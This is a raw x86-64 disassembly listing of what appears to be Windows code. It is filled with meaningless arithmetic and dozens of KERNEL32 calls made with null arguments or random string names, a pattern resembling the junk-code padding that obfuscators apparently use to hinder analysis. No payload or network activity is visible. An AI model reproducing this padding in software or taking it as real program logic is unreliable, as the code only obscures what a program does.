movzx ecx, al
mov rax, qword [rsp + 0xcd48]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xc848]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x381]
mov byte [rsp + 0x3a4], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.zqxnIdNuuZBob8YX4mZym951kOZ6Q
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xcd50], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
movzx ecx, word [rsp + 0x1fb0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x20e4], ax
mov rax, qword [rsp + 0xc4e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1994]
sub eax, ecx
mov word [rsp + 0x1fe8], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xcd58], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcad8], rax
mov rax, qword [rsp + 0xc900]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x202c]
add eax, ecx
mov word [rsp + 0x10fc], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xcca8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1fd38]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [0x1401c8ac0]
mov rcx, qword [rsp + 0xc910]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0xcb70], rax
movzx ecx, word [rsp + 0x1f24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x20e0], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
movsx eax, byte [rsp + 0x375]
mov rcx, qword [rsp + 0xc9d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x380], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
lea rax, [rsp + 0x65d4]
mov qword [rsp + 0xcd60], rax
movsx eax, word [rsp + 0x14bc]
movsx ecx, word [rsp + 0x19d0]
or eax, ecx
mov word [rsp + 0x1f1c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6628], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rax, qword [rsp + 0xca60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11f8]
sar eax, cl
mov word [0x1401c7040], ax
mov rax, qword [rsp + 0xc3a0]
mov rax, qword [rax]
mov qword [rsp + 0xcd68], rax
lea rcx, [rsp + 0x1ff48]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc680]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc580]
shl rax, cl
mov qword [rsp + 0x98d8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xc878]
mov rcx, qword [rsp + 0xc680]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbc18], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc9e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f9c]
sub eax, ecx
mov word [rsp + 0xa6c], ax
mov rax, qword [rsp + 0xc780]
mov rcx, qword [rsp + 0xc3f0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc590]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x39f]
mov byte [rsp + 0x3a5], al
mov rax, qword [rsp + 0xcb50]
mov ecx, dword [rsp + 0x58b8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x65e0], eax
mov rax, qword [rsp + 0xc4b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3a0]
or eax, ecx
mov byte [rsp + 0x253], al
lea rax, [rsp + 0x6570]
mov qword [rsp + 0xcd70], rax
mov rax, qword [0x1401c8b80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x20bc]
shl eax, cl
mov word [0x1401c70c0], ax
movzx eax, word [rsp + 0x2064]
mov rcx, qword [rsp + 0xc858]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x938], ax
movzx eax, word [rsp + 0x20a8]
mov word [rsp + 0x217c], ax
mov rax, qword [rsp + 0xcc38]
mov rcx, qword [rsp + 0xb0d8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc9c0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [rsp + 0xc6d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x65e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5eb0], eax
movsx eax, byte [rsp + 0x383]
mov rcx, qword [rsp + 0xc4f8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4f], al
mov rax, qword [rsp + 0xbdf8]
mov rcx, qword [rsp + 0xc7a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xca58]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc698]
movzx eax, word [rax]
mov word [rsp + 0x2180], ax
lea rcx, [rsp + 0x1fee8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x2050]
mov rcx, qword [rsp + 0xcaa8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x19ac], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc5a0]
mov rcx, qword [rsp + 0xc218]
or rcx, rax
mov rax, rcx
mov qword [0x1401c7060], rax
movzx eax, word [rsp + 0x1f8c]
movzx ecx, word [0x1401c8af0]
sar eax, cl
mov word [rsp + 0x1bc8], ax
mov rax, qword [rsp + 0xca00]
mov rcx, qword [rsp + 0xc990]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9f10], rax
mov rax, qword [rsp + 0xc960]
mov rcx, qword [rsp + 0x9a90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc760], rax
mov eax, dword [rsp + 0x65e0]
mov dword [rsp + 0x662c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc3e8], rax
movsx eax, byte [rsp + 0x376]
mov rcx, qword [rsp + 0xca30]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x39e], al
mov rcx, qword [rsp + 0xc798]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xcd78], rax
movzx eax, byte [rsp + 0x30b]
movzx ecx, byte [rsp + 0x37b]
and eax, ecx
mov byte [rsp + 0x293], al
mov eax, dword [rsp + 0x62d4]
movzx ecx, al
mov eax, dword [0x1401c8a20]
sar eax, cl
mov dword [rsp + 0x6584], eax
mov rax, qword [rsp + 0xc508]
mov rcx, qword [rsp + 0xca58]
mov qword [rsp + 0xcd80], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcd80]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xca38], rax
mov rax, qword [rsp + 0xca78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14bc]
or eax, ecx
mov word [0x1401c8b88], ax
mov rax, qword [rsp + 0xcd08]
movzx eax, word [rax]
mov word [rsp + 0x2184], ax
movzx eax, word [rsp + 0x202c]
movzx ecx, word [rsp + 0x2050]
sub eax, ecx
mov word [rsp + 0x1fd0], ax
mov rax, qword [0x1401c8ad8]
movzx eax, word [rax]
mov word [rsp + 0x2188], ax
mov rax, qword [rsp + 0xc8f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc610]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x39f], al
mov rax, qword [rsp + 0xc378]
mov rcx, qword [rsp + 0xca58]
mov rax, qword [rax]
imul rax, qword [rcx]
mov rcx, qword [rsp + 0xc210]
mov qword [rcx], rax
lea rdx, [rsp + 0x26028]
mov rcx, qword [rsp + 0xc270]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6580], eax
mov eax, dword [rsp + 0x6448]
mov ecx, dword [rsp + 0x5e80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x57c8], eax
movsx eax, word [rsp + 0x2164]
movsx ecx, word [rsp + 0x2104]
add eax, ecx
mov rcx, qword [rsp + 0xc7f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xcaa8]
movzx eax, word [rax]
mov word [rsp + 0x218c], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcd88], rax
mov rax, qword [0x1401c8aa8]
mov rax, qword [rax]
mov qword [0x1401c8ba8], rax
mov rax, qword [rsp + 0xcc88]
mov rcx, qword [rsp + 0xa0e0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xcc88]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0xcc38]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc828]
shl rax, cl
mov rcx, qword [rsp + 0xcc88]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc540]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc388]
sar rax, cl
mov qword [rsp + 0x96c0], rax
lea rdx, [rsp + 0x25fb8]
mov rcx, qword [rsp + 0xc5c0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6614], eax
lea rcx, [rsp + 0x1d598]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rcx, qword [rsp + 0xc3d0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x1f94]
movzx ecx, word [rsp + 0x1164]
xor eax, ecx
mov word [rsp + 0x2054], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rax, qword [rsp + 0xc628]
mov eax, dword [rax]
mov dword [rsp + 0x6630], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6478], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xcd90], rax
mov rax, qword [rsp + 0xca88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc438]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc4b8]
mov byte [rcx], al
mov rcx, qword [rsp + 0xc568]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6404], eax
mov eax, dword [rsp + 0x64f0]
mov dword [rsp + 0x6634], eax
mov rax, qword [rsp + 0xca30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x375]
sub eax, ecx
mov rcx, qword [rsp + 0xc8e8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc7a0]
mov rcx, qword [rsp + 0xc780]
sub rcx, rax
mov rax, rcx
mov qword [section..data], rax
mov rax, qword [rsp + 0xc9f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f9c]
shl eax, cl
mov rcx, qword [rsp + 0xca78]
mov word [rcx], ax
lea rdx, [rsp + 0x26370]
mov rcx, qword [rsp + 0xc850]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x64a8], eax
lea rax, [rsp + 0x137c]
mov qword [rsp + 0xcd98], rax
mov rax, qword [rsp + 0xc948]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2050]
or eax, ecx
mov word [rsp + 0xa88], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
lea rax, [rsp + 0x9a90]
mov qword [rsp + 0xcda0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6538], eax
movsx eax, byte [rsp + 0x1d7]
mov rcx, qword [rsp + 0xc668]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x388], al
mov rax, qword [rsp + 0xc378]
mov rax, qword [rax]
imul rax, qword [rsp + 0xcb90]
mov qword [rsp + 0xc7a0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc6f0]
mov rcx, qword [rsp + 0xcd60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5f24], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x65d8], eax
lea rcx, [rsp + 0x1d4a8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, 0x1f95
mov rcx, qword [rsp + 0xc978]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x654c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xcda8], rax
movsx eax, word [rsp + 0x20d8]
movsx ecx, word [rsp + 0x2130]
add eax, ecx
mov word [rsp + 0x1fe8], ax
mov rax, qword [rsp + 0xc900]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2188]
add eax, ecx
mov word [0x1401c70c4], ax
mov rax, qword [rsp + 0x9f10]
mov qword [rsp + 0xcdb0], rax
movzx eax, word [rsp + 0x2110]
movzx ecx, word [rsp + 0x1e4c]
add eax, ecx
mov word [rsp + 0x11f8], ax
mov rax, qword [rsp + 0xc4d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x398]
add eax, ecx
mov byte [rsp + 0x293], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x65f4], eax
lea rax, [rsp + 0x5630]
mov qword [rsp + 0xcdb8], rax
movsx eax, byte [rsp + 0x38e]
mov rcx, qword [rsp + 0xcce8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc9d8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc400]
mov rcx, qword [rsp + 0xc5d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5bc4], eax
mov rax, qword [rsp + 0xc9f8]
mov rcx, qword [rsp + 0xc378]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc950], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0xcd98]
movzx eax, word [rax]
mov word [rsp + 0x2190], ax
mov rax, qword [rsp + 0xc6d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xca60]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401c7090], ax
mov rax, qword [rsp + 0xca00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc990]
mov qword [rsp + 0xcdc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcdc0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xcc88]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rax, qword [rsp + 0xc898]
mov rcx, qword [rsp + 0xcbc8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcc80], rax
movzx eax, word [0x1401c8b88]
mov word [rsp + 0x2194], ax
mov rax, qword [rsp + 0xcbd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2044]
sub eax, ecx
mov word [rsp + 0x1b74], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.E87fHV5GuCVrw80gVPE1gitAqT
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xcdc8], rax
mov rcx, qword [rsp + 0xc930]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x651c], eax
lea rax, [rsp + 0xc3a8]
mov qword [rsp + 0xcdd0], rax
movsx eax, byte [rsp + 0x379]
movsx ecx, byte [rsp + 0x3a2]
or eax, ecx
mov rcx, qword [rsp + 0xcb10]
mov byte [rcx], al
mov rax, qword [rsp + 0xcd40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc5d8]
mov qword [rsp + 0xcdd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcdd8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5660], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc338], rax
mov rax, qword [rsp + 0xc4e8]
mov rcx, qword [rsp + 0xcda0]
mov qword [rsp + 0xcde0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcde0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb768], rax
mov rax, qword [0x1401c8ae0]
movzx eax, word [rax]
mov word [0x1401c8bb0], ax
mov rax, qword [rsp + 0xcbb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc7f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x848], ax
mov rax, qword [rsp + 0xc4d0]
movzx eax, byte [rax]
mov byte [rsp + 0x3a6], al
mov rax, qword [rsp + 0xcdb8]
mov rcx, qword [rsp + 0xc728]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5b70], eax
mov rax, qword [rsp + 0xcc38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc388], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc678], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xcd90], rax
lea rcx, str.QW0jW.w.GL6
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2144], ax
mov rax, qword [0x1401c8ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc488]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9710], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6638], eax
movsx eax, byte [rsp + 0x376]
mov rcx, qword [rsp + 0xc8e8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x385], al
mov r9d, 2
lea r8, [rsp + 0xcc78]
mov rdx, qword [rsp + 0xc480]
mov rcx, qword [rsp + 0xc1a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6460], eax
lea rax, [rsp + 0x644c]
mov qword [rsp + 0xcde8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6558], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r9d, r9d
lea r8, [rsp + 0xc190]
mov rdx, qword [rsp + 0xc320]
mov rcx, qword [rsp + 0xc410]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6578], eax
mov rax, qword [rsp + 0xc4e0]
movsx eax, word [rax]
movsx ecx, word [0x1401c7054]
and eax, ecx
mov word [rsp + 0x2164], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
movzx eax, word [rsp + 0x1884]
mov rcx, qword [rsp + 0xc5b8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401c7070], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc540]
mov rcx, qword [rsp + 0xc680]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xc878]
mov qword [rcx], rax
mov rcx, qword [rsp + 0xc290]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6534], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
lea rax, [rsp + 0x1718]
mov qword [rsp + 0xcdf0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc268]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2030]
shl eax, cl
mov word [rsp + 0x2118], ax
mov edx, 0x24ee
mov rcx, qword [rsp + 0xcc10]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x65c8], eax
lea rcx, [rsp + 0x1fd08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rax, qword [rsp + 0xc3a0]
mov rax, qword [rax]
mov qword [rsp + 0xcdf8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rax, qword [rsp + 0xc720]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc9d8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xcc98]
mov byte [rcx], al
lea rcx, str.S5EgrIA0P_YZ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1fec], ax
mov eax, dword [rsp + 0x65d0]
mov dword [rsp + 0x663c], eax
mov rax, qword [rsp + 0xc790]
mov rcx, qword [rsp + 0xa270]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbeb8], rax
movzx eax, word [0x1401c8a48]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1f70], ax
mov rax, qword [rsp + 0xc778]
mov rcx, qword [rsp + 0xc8f0]
or rcx, rax
mov rax, rcx
mov qword [0x1401c70c8], rax
lea rax, [rsp + 0x65b4]
mov qword [rsp + 0xce00], rax
mov edx, 0x6b0
mov rcx, qword [rsp + 0xc5f0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6640], eax
movzx eax, byte [0x1401c8a16]
movzx ecx, byte [rsp + 0x382]
sar eax, cl
mov byte [rsp + 0x3a6], al
movsx eax, word [rsp + 0x1cfc]
mov rcx, qword [rsp + 0xc4e0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf94], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc650], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc678], rax
mov rax, qword [rsp + 0xc900]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bb8]
sub eax, ecx
mov word [rsp + 0x2080], ax
mov rax, qword [rsp + 0xc350]
mov rcx, qword [rsp + 0xc658]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc9c8], rax
mov rcx, qword [rsp + 0xc8a8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x392]
mov qword [rsp + 0xce08], rax
lea rcx, [rsp + 0x1d390]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [0x1401c8a40]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xc400]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc268]
movzx eax, word [rax]
mov word [rsp + 0x2198], ax
mov rax, qword [rsp + 0xc9a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2018]
and eax, ecx
mov rcx, qword [0x1401c8b90]
mov word [rcx], ax
mov rax, qword [rsp + 0xc758]
movzx ecx, al
mov rax, qword [0x1401c7048]
shl rax, cl
mov qword [rsp + 0xab28], rax
mov rax, qword [rsp + 0xca00]
mov rcx, qword [rsp + 0xb3b0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xaef0], rax
lea rax, [rsp + 0xaf20]
mov qword [rsp + 0xce10], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x1401c8ae0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc4e0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb60], ax
lea rax, [rsp + 0x375]
mov qword [rsp + 0xce18], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov rcx, qword [rsp + 0xc398]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xc6c0]
mov rcx, qword [rsp + 0xb0e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcb70], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
lea rax, [0x1401c7008]
mov qword [rsp + 0xce20], rax
mov rax, qword [rsp + 0xcaf8]
mov rcx, qword [rsp + 0xcb48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xcd70]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x3a1]
imul eax, eax, 0xa
mov byte [rsp + 0x395], al
movzx eax, word [0x1401c70a4]
mov word [0x1401c8bb4], ax
mov rax, qword [rsp + 0xc5b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcaf0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x16b8], ax
lea rcx, [rsp + 0x1fdf8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6644], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc0b8], rax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov rcx, qword [0x1401c8ad0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x13a4], ax
mov rax, qword [rsp + 0xb7b8]
mov qword [rsp + 0xce28], rax
movsx eax, byte [rsp + 0x39e]
mov rcx, qword [rsp + 0xcd18]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x393], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rcx, qword [rsp + 0xc478]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov eax, dword [0x1401c8a18]
mov rcx, qword [rsp + 0xc6d0]
mov qword [rsp + 0xce30], rcx
movzx ecx, al
mov rax, qword [rsp + 0xce30]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6554], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6648], eax
